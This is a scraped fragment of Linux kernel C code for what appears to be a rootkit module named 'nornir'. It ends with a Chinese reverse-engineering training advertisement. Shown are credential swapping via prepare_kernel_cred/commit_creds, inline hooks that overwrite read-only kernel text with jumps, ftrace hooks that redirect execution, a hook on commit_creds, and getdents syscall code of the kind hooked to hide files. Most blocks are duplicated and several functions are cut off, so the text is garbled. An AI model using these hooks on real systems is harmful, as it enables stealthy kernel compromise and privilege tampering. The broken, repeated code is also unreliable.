cred *old, *root;
int
ret;
old = (
struct
cred*) get_current_cred();
root = prepare_kernel_cred(
pid_task(
find_pid_ns(1, task_active_pid_ns(current)),
PIDTYPE_PID
)
);
if
(!root) {
logger_error(
"FAILED to allocated a new cred, kallsyms lookup failed."
);
put_cred(old);
return
-ENOMEM;
}
get_cred(root);
commit_creds(root);
ret = nornir_ksym_addr_lookup_internal(name, res, ignore_mods, ignore_types);
commit_creds(old);
put_cred(root);
return
ret;
}
typedef
size_t
(*hook_fn) (
size_t
,
size_t
,
size_t
,
size_t
,
size_t
,
size_t
);
struct
asm_hook_info {
uint8_t orig_data[HOOK_BUF_SZ];
hook_fn hook_before;
hook_fn exec_orig;
hook_fn orig_func;
hook_fn new_dst;
size_t
(*hook_after) (
size_t
orig_ret,
size_t
*args);
};
static
__always_inline
void
nornir_raw_write_inline_hook(
void
*target,
void
*new_dst)
{
size_t
dst_off = (
size_t
) new_dst - (
size_t
) target;
uint8_t asm_buf[0x100];
#ifdef CONFIG_X86_64
memset
(asm_buf, X86_NOP_INSN,
sizeof
(asm_buf));
asm_buf[0] = X86_JMP_PREFIX;
*(
size_t
*) &asm_buf[1] = dst_off - X86_JMP_DISTENCE;
nornir_overwrite_romem(target, asm_buf, HOOK_BUF_SZ);
#else
#error "No supported architecture were chosen for inline hook"
#endif
}
static
__always_inline
void
nornir_raw_write_orig_hook_buf_back(
struct
asm_hook_info *info)
{
#ifdef CONFIG_X86_64
nornir_overwrite_romem(info->orig_func, info->orig_data, HOOK_BUF_SZ);
#else
#error "No supported architecture were chosen for inline hook"
#endif
}
size_t
nornir_asm_inline_hook_helper(
struct
asm_hook_info *info,
size_t
*args)
{
size_t
ret;
if
(info->hook_before) {
ret=info->hook_before(args[0],args[1],args[2],args[3],args[4],args[5]);
}
if
(info->exec_orig
&& info->exec_orig(args[0],args[1],args[2],args[3],args[4],args[5])) {
nornir_raw_write_orig_hook_buf_back(info);
ret = info->orig_func(args[0],args[1],args[2],args[3],args[4],args[5]);
nornir_raw_write_inline_hook(info->orig_func, info->new_dst);
}
if
(info->hook_after) {
ret = info->hook_after(ret, args);
}
return
ret;
}
typedef
size_t
(*hook_fn) (
size_t
,
size_t
,
size_t
,
size_t
,
size_t
,
size_t
);
struct
asm_hook_info {
uint8_t orig_data[HOOK_BUF_SZ];
hook_fn hook_before;
hook_fn exec_orig;
hook_fn orig_func;
hook_fn new_dst;
size_t
(*hook_after) (
size_t
orig_ret,
size_t
*args);
};
static
__always_inline
void
nornir_raw_write_inline_hook(
void
*target,
void
*new_dst)
{
size_t
dst_off = (
size_t
) new_dst - (
size_t
) target;
uint8_t asm_buf[0x100];
#ifdef CONFIG_X86_64
memset
(asm_buf, X86_NOP_INSN,
sizeof
(asm_buf));
asm_buf[0] = X86_JMP_PREFIX;
*(
size_t
*) &asm_buf[1] = dst_off - X86_JMP_DISTENCE;
nornir_overwrite_romem(target, asm_buf, HOOK_BUF_SZ);
#else
#error "No supported architecture were chosen for inline hook"
#endif
}
static
__always_inline
void
nornir_raw_write_orig_hook_buf_back(
struct
asm_hook_info *info)
{
#ifdef CONFIG_X86_64
nornir_overwrite_romem(info->orig_func, info->orig_data, HOOK_BUF_SZ);
#else
#error "No supported architecture were chosen for inline hook"
#endif
}
size_t
nornir_asm_inline_hook_helper(
struct
asm_hook_info *info,
size_t
*args)
{
size_t
ret;
if
(info->hook_before) {
ret=info->hook_before(args[0],args[1],args[2],args[3],args[4],args[5]);
}
if
(info->exec_orig
&& info->exec_orig(args[0],args[1],args[2],args[3],args[4],args[5])) {
nornir_raw_write_orig_hook_buf_back(info);
ret = info->orig_func(args[0],args[1],args[2],args[3],args[4],args[5]);
nornir_raw_write_inline_hook(info->orig_func, info->new_dst);
}
if
(info->hook_after) {
ret = info->hook_after(ret, args);
}
return
ret;
}
typedef
void
(*ftrace_func_t)(unsigned
long
ip, unsigned
long
parent_ip,
struct
ftrace_ops *op,
struct
ftrace_regs *fregs);
struct
ftrace_ops {
ftrace_func_t func;
struct
ftrace_ops __rcu *next;
unsigned
long
flags;
};
typedef
void
(*ftrace_func_t)(unsigned
long
ip, unsigned
long
parent_ip,
struct
ftrace_ops *op,
struct
ftrace_regs *fregs);
struct
ftrace_ops {
ftrace_func_t func;
struct
ftrace_ops __rcu *next;
unsigned
long
flags;
};
int
ftrace_set_filter_ip(
struct
ftrace_ops *ops, unsigned
long
ip,
int
remove
,
int
reset)
int
ftrace_set_filter_ip(
struct
ftrace_ops *ops, unsigned
long
ip,
int
remove
,
int
reset)
static
__maybe_unused
struct
ftrace_ops*
nornir_install_ftrace_hook_internal(
void
*target, ftrace_func_t new_dst)
{
struct
ftrace_ops *hook_ops;
int
err;
hook_ops = kmalloc(GFP_KERNEL,
sizeof
(*hook_ops));
if
(!hook_ops) {
err = -ENOMEM;
logger_error(
"Unable to allocate memory for new ftrace_ops.\n"
);
goto
no_mem;
}
memset
(hook_ops, 0,
sizeof
(*hook_ops));
hook_ops->func = new_dst;
hook_ops->flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION
| FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(hook_ops, (unsigned
long
) target, 0, 0);
if
(err) {
logger_error(
"Failed to set ftrace filter for target addr: %p.\n"
,
target
);
goto
failed;
}
err = register_ftrace_function(hook_ops);
if
(err) {
logger_error(
"Failed to register ftrace fn for target addr: %p.\n"
,
target
);
goto
failed;
}
logger_info(
"Install ftrace hook at %p, new destination: %p.\n"
,
target,
new_dst
);
return
hook_ops;
failed:
kfree(hook_ops);
no_mem:
return
ERR_PTR(err);
}
static
__maybe_unused
int
nornir_uninstall_ftrace_hook_internal(
struct
ftrace_ops*hook_ops,
void
*hook_dst)
{
int
err;
err = unregister_ftrace_function(hook_ops);
if
(err) {
logger_error(
"failed to unregister ftrace."
);
goto
out;
}
err = ftrace_set_filter_ip(hook_ops, (unsigned
long
) hook_dst, 1, 0);
if
(err) {
logger_error(
"failed to rmove ftrace point."
);
goto
out;
}
out:
return
err;
}
static
__maybe_unused
struct
ftrace_ops*
nornir_install_ftrace_hook_internal(
void
*target, ftrace_func_t new_dst)
{
struct
ftrace_ops *hook_ops;
int
err;
hook_ops = kmalloc(GFP_KERNEL,
sizeof
(*hook_ops));
if
(!hook_ops) {
err = -ENOMEM;
logger_error(
"Unable to allocate memory for new ftrace_ops.\n"
);
goto
no_mem;
}
memset
(hook_ops, 0,
sizeof
(*hook_ops));
hook_ops->func = new_dst;
hook_ops->flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_RECURSION
| FTRACE_OPS_FL_IPMODIFY;
err = ftrace_set_filter_ip(hook_ops, (unsigned
long
) target, 0, 0);
if
(err) {
logger_error(
"Failed to set ftrace filter for target addr: %p.\n"
,
target
);
goto
failed;
}
err = register_ftrace_function(hook_ops);
if
(err) {
logger_error(
"Failed to register ftrace fn for target addr: %p.\n"
,
target
);
goto
failed;
}
logger_info(
"Install ftrace hook at %p, new destination: %p.\n"
,
target,
new_dst
);
return
hook_ops;
failed:
kfree(hook_ops);
no_mem:
return
ERR_PTR(err);
}
static
__maybe_unused
int
nornir_uninstall_ftrace_hook_internal(
struct
ftrace_ops*hook_ops,
void
*hook_dst)
{
int
err;
err = unregister_ftrace_function(hook_ops);
if
(err) {
logger_error(
"failed to unregister ftrace."
);
goto
out;
}
err = ftrace_set_filter_ip(hook_ops, (unsigned
long
) hook_dst, 1, 0);
if
(err) {
logger_error(
"failed to rmove ftrace point."
);
goto
out;
}
out:
return
err;
}
__attribute__((
naked
))
void
ret_fn(
void
)
{
asm
volatile
(
" ret; "
);
}
void
test_hook_fn(unsigned
long
ip, unsigned
long
pip,
struct
ftrace_ops *ops,
struct
ftrace_regs *fregs)
{
size_t
(*orig_commit_creds)(
size_t
) = \
(
size_t
(*)(
size_t
))((
size_t
) commit_creds + 9);
printk(KERN_ERR
"[test hook] bbbbbbbbbbbbbbbbbbbbbbbbbbbb"
);
fregs->regs.ax = orig_commit_creds(fregs->regs.di);
fregs->regs.ip = ret_fn;
return
;
}
__attribute__((
naked
))
void
ret_fn(
void
)
{
asm
volatile
(
" ret; "
);
}
void
test_hook_fn(unsigned
long
ip, unsigned
long
pip,
struct
ftrace_ops *ops,
struct
ftrace_regs *fregs)
{
size_t
(*orig_commit_creds)(
size_t
) = \
(
size_t
(*)(
size_t
))((
size_t
) commit_creds + 9);
printk(KERN_ERR
"[test hook] bbbbbbbbbbbbbbbbbbbbbbbbbbbb"
);
fregs->regs.ax = orig_commit_creds(fregs->regs.di);
fregs->regs.ip = ret_fn;
return
;
}
struct
linux_dirent {
unsigned
long
d_ino;
unsigned
long
d_off;
unsigned
short
d_reclen;
char
d_name[1];
};
struct
linux_dirent64 {
u64 d_ino;
s64 d_off;
unsigned
short
d_reclen;
unsigned
char
d_type;
char
d_name[];
};
struct
linux_dirent {
unsigned
long
d_ino;
unsigned
long
d_off;
unsigned
short
d_reclen;
char
d_name[1];
};
struct
linux_dirent64 {
u64 d_ino;
s64 d_off;
unsigned
short
d_reclen;
unsigned
char
d_type;
char
d_name[];
};
SYSCALL_DEFINE3(getdents, unsigned
int
, fd,
struct
linux_dirent __user *, dirent, unsigned
int
, count)
{
struct
fd f;
struct
getdents_callback buf = {
.ctx.actor = filldir,
.count = count,
.current_dir = dirent
};
int
error;
f = fdget_pos(fd);
if
(!f.file)
return
-EBADF;
error = iterate_dir(f.file, &buf.ctx);
SYSCALL_DEFINE3(getdents64, unsigned
int
, fd,
struct
linux_dirent64 __user *, dirent, unsigned
int
, count)
{
struct
fd f;
struct
getdents_callback64 buf = {
.ctx.actor = filldir64,
.count = count,
.current_dir = dirent
};
int
error;
f = fdget_pos(fd);
if
(!f.file)
return
-EBADF;
error = iterate_dir(f.file, &buf.ctx);
COMPAT_SYSCALL_DEFINE3(getdents, unsigned
int
, fd,
struct
compat_linux_dirent __user *, dirent, unsigned
int
, count)
{
struct
fd f;
struct
compat_getdents_callback buf = {
.ctx.actor = compat_filldir,
.current_dir = dirent,
.count = count
};
int
error;
f = fdget_pos(fd);
if
(!f.file)
return
-EBADF;
error = iterate_dir(f.file, &buf.ctx);
SYSCALL_DEFINE3(getdents, unsigned
int
, fd,
struct
linux_dirent __user *, dirent, unsigned
int
, count)
{
struct
fd f;
struct
getdents_callback buf = {
.ctx.actor = filldir,
.count = count,
.current_dir = dirent
};
int
error;
f = fdget_pos(fd);
if
(!f.file)
return
-EBADF;
error = iterate_dir(f.file, &buf.ctx);
[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!